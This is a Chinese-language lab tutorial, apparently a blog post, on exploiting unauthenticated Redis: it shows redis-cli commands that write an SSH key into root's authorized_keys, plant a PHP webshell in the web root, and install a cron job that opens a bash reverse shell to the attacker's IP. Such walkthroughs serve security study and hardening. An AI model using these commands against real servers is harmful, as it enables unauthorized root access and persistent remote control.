Redis未授权访问

 

简介


Redis介绍

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助

Redis未授权访问漏洞

  • Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据
  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件
  • 如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

环境搭建


引言

各位大佬们都喜欢用kali linux当作攻击机,Ubuntu或者CentOS当作靶机,这样会方便一些,但是使用kali当作攻击机,redis-cli命令也需要安装redis,我这里尝试了一下攻击机用win10,靶机用kali

Linux软件安装

 linux上安装命令如下

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

然后修改配置文件redis.conf

bind 127.0.0.1前面加上#号   //去掉ip绑定,允许除本地外的主机远程登录redis服务
protected-mode设为no     //关闭保护模式,允许远程连接redis服务
daemonize设为yes    //服务可后台运行

开启redis服务,默认端口是6379

./src/redis-server redis-conf

使用redis-cli命令的方式

可以直接进入src文件夹 ./redis-cli -h 127.0.0.1 -p 6379

下面的我使用的环境

攻击机靶机测试工具 
windows 10 :192.168.1.107kali linux :192.168.1.109scrt、nc、nmap 

redis的安装不在多说了,windows版的github有,运行页面如下

  • info查看信息
  • set x "test"设置变量x为test
  • get x 查看x的值
  • flushall 是把整个redis数据库删除,一般情况下不要用!!!
  • keys * 获取所有键名
  • config set/get dir 顾名思义get是获取,set是设置,set可用于写文件,下面会用到
  • config set/get dbfilename 与上属命令组合使用
  • save 保存

攻击利用方法


写ssh-keygen公钥然后使用私钥登陆

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key

利用条件:

  • Redis服务使用ROOT账号启动
  • 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

使用nmap检查端口开放情况

使用redis-cli连接到服务器,redis-cli.exe -h 192.168.1.109 -p 6379

使用SCRT使用公钥私钥对,操作步骤如下

然后去该目录下,发现多出两个文件

接下来使用redis将公钥内容写入目标主机的缓冲里

使用文本模式打开.pub文件,字符串如下

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/sG4Y1CZkoBaEzwHfETvgeJO1/gscJPZg0YTtgEVvk9Gju9DnHIzm1M8gF8lwysUkTMDc+xdHDplIjzgzvGeTBhLTgPsGtdsVggpXDGn6qRHFlxrDLqNb+8fLwv6Afhq7VZ0idvbH/wKQDGTANzY6rFB3RBjOK3Pd8uL4RIa1JpoOX9oBTP94Xx9Ps+vUgxwaYw2hT/ILMYBQuaVcuZ7JXLicaJEi0us+UEhoVNSjBAqJw0M0M9lVE4MXJxz99YVh3cnwx2v5/XrkDX9xif4RUeLWAod2VGCsKgPmjZLSiNPKzrp9da22XRhIVHrBsqw7oCx0YyS+E9klbCrt+Oj1 qiushui@DESKTOP-9Q53NV6

 首先查看靶机上的/root/.ssh文件夹下的文件

通过攻击机远程redis执行命令如下,\n是换行,方式数据混淆

192.168.1.109:6379> config set dir /root/.ssh/
OK
192.168.1.109:6379> config set dbfilename authorized_keys
OK
192.168.1.109:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/sG4Y1CZkoBaEzwHfETvgeJO1/gscJPZg0YTtgEVvk9Gju9DnHIzm1M8gF8lwysUkTMDc+xdHDplIjzgzvGeTBhLTgPsGtdsVggpXDGn6qRHFlxrDLqNb+8fLwv6Afhq7VZ0idvbH/wKQDGTANzY6rFB3RBjOK3Pd8uL4RIa1JpoOX9oBTP94Xx9Ps+vUgxwaYw2hT/ILMYBQuaVcuZ7JXLicaJEi0us+UEhoVNSjBAqJw0M0M9lVE4MXJxz99YVh3cnwx2v5/XrkDX9xif4RUeLWAod2VGCsKgPmjZLSiNPKzrp9da22XRhIVHrBsqw7oCx0YyS+E9klbCrt+Oj1 qiushui@DESKTOP-9Q53NV6\n\n\n"
OK
192.168.1.109:6379> save
OK

回到靶机查看是否生成authorized_keys文件,如下图

设置SCRT使用公钥链接,

具体可参照文章:https://blog.csdn.net/weixin_40809627/article/details/94639424

如下图

使用公钥登录,如下

输入之前设置的通行段语123456

成功登录

写webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell

执行以下命令

  • 192.168.1.109:6379> config set dir /var/www/html/
  • 192.168.1.109:6379>config set dbfilename shell.php
  • 192.168.1.109:6379>set x "<?php phpinfo();?>"
  • 192.168.1.109:6379> save

这里我没开web服务我就不演示了,上一小节已证明可以写入成功

利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell

下载windows下的nc工具:https://eternallybored.org/misc/netcat/

先在自己的服务器上监听一个端口

nc -lvnp 6666

执行命令

  • 192.168.1.109:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.107/6666 0>&1\n"
  • 192.168.1.109:6379> config set dir /var/spool/cron/
  • 192.168.1.109:6379> config set dbfilename root
  • 192.168.1.109:6379>save

操作失败,感觉应该是操作系统的问题,后续研究吧 吃饭先。。此处用CentOS作为靶机没有问题

参考文章:https://www.freebuf.com/column/158065.html

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值